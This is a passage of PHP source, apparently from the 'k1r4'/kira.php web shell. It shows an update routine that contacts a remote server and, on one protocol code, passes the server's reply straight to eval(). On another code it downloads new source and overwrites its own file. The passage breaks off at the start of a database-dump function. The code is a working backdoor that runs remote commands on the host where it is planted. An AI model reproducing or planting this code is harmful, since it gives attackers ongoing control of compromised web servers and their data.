if (!function_exists("k1r4_getupdate"))
{
function k1r4_getupdate($update = TRUE)
{
$url = $GLOBALS["k1r4_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
$data = @file_get_contents($url);
if (!$data) {return "Can't connect to update-server!";}
else
{
$data = ltrim($data);
$string = substr($data,3,ord($data{2}));
if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
if ($data{0} == "\x99" and $data{1} == "\x03")
{
$string = explode("\x01",$string);
if ($update)
{
$confvars = array();
$sourceurl = $string[0];
$source = file_get_contents($sourceurl);
if (!$source) {return "Can't fetch update!";}
else
{
$fp = fopen(__FILE__,"w");
if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download kira.php manually here.";}
else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
}
}
else {return "New version are available: ".$string[1];}
}
elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
else {return "Error in protocol: segmentation failed! (".$data.") ";}
}
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
global $shver;
$sock = $set["sock"];
$db = $set[